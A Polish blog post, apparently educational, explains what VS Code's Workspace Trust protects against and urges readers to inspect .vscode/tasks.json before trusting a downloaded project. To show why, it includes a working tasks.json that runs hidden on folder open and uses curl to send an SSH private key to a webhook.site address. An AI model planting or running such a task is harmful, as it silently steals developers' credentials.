Co robi funkcja Workspace Trust?

Visual Studio Code posiada funkcję Workspace Trust. Ale po co ona jest?

Opublikowano 18.04.2023 08:45

Wstęp

Gdy otwierasz nowy projekt/folder w Visual Studio Code - program wyświetla Ci specjalne ostrzeżenie. Ale czy wiesz dlaczego?

TL;DR: jeśli pobierzesz i otworzysz złośliwy projekt a następnie wciśniesz niebieski przycisk Yes, I Trust - potencjalny atakujący może wykonać dowolny skrypt/program na Twoim komputerze. Czyli na przykład:

  • Ukraść ciasteczka z przeglądarki
  • Wysłać hasła zapisane w menadżerze haseł
  • Poznać Twoje klucze SSH
  • Skopiować pliki z GITa

Aby Ci to zademonstrować zasymulujemy kradzież kluczy SSH bez Twojej wiedzy. Do dzieła!

PS. Tylko nie wysyłaj swojego klucza prywatnego!

Zadania

Projekt w Visual Studio Code może posiadać specjalny plik tasks.json, który umieszcza się w katalogu .vscode. W ten sposób definiuje się zadania do wykonania.

Przykład: w pliku run_test.sh umieszczasz kod odpowiedzialny za testowanie Twojej aplikacji. Teraz dodajesz odpowiedni wpis do pliku tasks.json:

{
    "version": "2.0.0",
    "tasks": [
      {
        "label": "Uruchom testy",
        "type": "shell",
        "group": "test",
        "command": "./run_test.sh",
      }
    ]
}

Takie zadanie możemy uruchomić z Command Palette (Shift + Command/Ctrl + P) na dwa sposoby:

  1. Tasks: Run Test Task
  2. Tasks: Run Task -> Uruchom testy

Wynik wyświetla się nam w oknie terminala.

Złośliwe zadanie

Niestety, w taki sam sposób możemy stworzyć złośliwe zadanie. Do kradzieży kluczy SSH wykorzystamy:

  • curl - bo jest wbudowany w MacOS i pozwala na wysyłkę plików,
  • stronę webhook.site - bo pozwala na przesyłanie i odczytywanie danych.

Całość nie jest skomplikowana. Zakładamy, że klucz użytkownika znajduje się w pliku /Users/kacper/.ssh/id_rsa. Curl pozwala na wysyłkę plików, jeśli przed ścieżką do pliku dodamy znak @.


Interesujące? Takie tematy poruszam na szkoleniu Bezpieczny Programista.
Kurs dla programistów, testerów oprogramowania, początkujących pentesterów i wszystkich innych osób, zainteresowanych bezpieczeństwem.

Na stronie webhook.site generowany jest unikalny adres URL. Wystarczy go skopiować i wkleić do komendy. Gdy tylko dane zostaną wysłane pod ten adres - pojawią się w menu po lewej stronie.

Nasz task posiada dwa nowe elementy:

  • "runOn": "folderOpen"
    • Dzięki temu nasze zadanie zostanie uruchomione automatycznie - zaraz po otworzeniu projektu - o ile wcześniej użytkownik wyrazi na to zgodę klikając w niebieski przycisk.
  • "presentation": {"reveal": "never"}
    • Ta opcja sprawia, że użytkownikowi nie wyświetli się okno terminala. Przez to raczej nie zauważy, że coś się wykonało/uruchomiło. Całość będzie się działa w tle.
{
    "version": "2.0.0",
    "tasks": [
      {
        "label": "Uruchom testy",
        "type": "shell",
        "group": "test",
        "command": "curl -d @/Users/kacper/.ssh/id_rsa https://webhook.site/tutaj-twoj-identyfikator",
        "runOptions": {
            "runOn": "folderOpen"
        },
        "presentation": {
          "reveal": "never",
          "panel": "new",
        }
      }
    ]
}

Jeżeli użytkownik otworzy nasz folder w Visual Studio Code i kliknie przycisk Yes, I trust the authors - złośliwe zadanie wykona się automatycznie i prześle zawartość pliku do atakującego. Sprawdź sam! Odtworzenie tego ćwiczenia nie powinno Ci zająć więcej niż 5 minut.

Historia

  • Czy takie ataki są popularne? NIE.
  • Czy się zdarzają? TAK.

W 2021 Microsoft opisał atak na badaczy bezpieczeństwa.

  1. Stworzono fikcyjną organizację, która rzekomo zajmowała się poszukiwaniem błędów w oprogramowaniu.
  2. Aby uwiarygodnić cały przekręt - stworzono konta na portalach społecznościowych oraz bloga.
  3. W jednym z postów opublikowano rzekomo nową technikę ataku. W załączniku, znajdował się projekt Visual Studio.
  4. Do uruchomienia złośliwej zawartości wykorzystano specjalną funkcję PreBuildEvent, która wykonuje zdefiniowaną komendę kiedy tylko użytkownik zdecyduje się na build projektu.

Co robić?

Podziel się tym materiałem w swojej pracy. Sprawdź, czy Twoi koledzy/koleżanki o tym wiedzą.

  1. Sprawdź zawartość pliku .vscode/tasks.json w poszukiwaniu "interesujących" zadań - zanim klikniesz "Yes, I trust the authors" w projekcie pobranym z Internetu.
  2. Pamiętaj, że zadania mogą się wykonywać w tle.
  3. Podobne opcje znajdują się w innych IDE, między innymi w IntelliJ IDEA. Różnią się tylko nazwą.
  4. Ten sam efekt da się uzyskać również pod Windowsem.

Źródła

#programista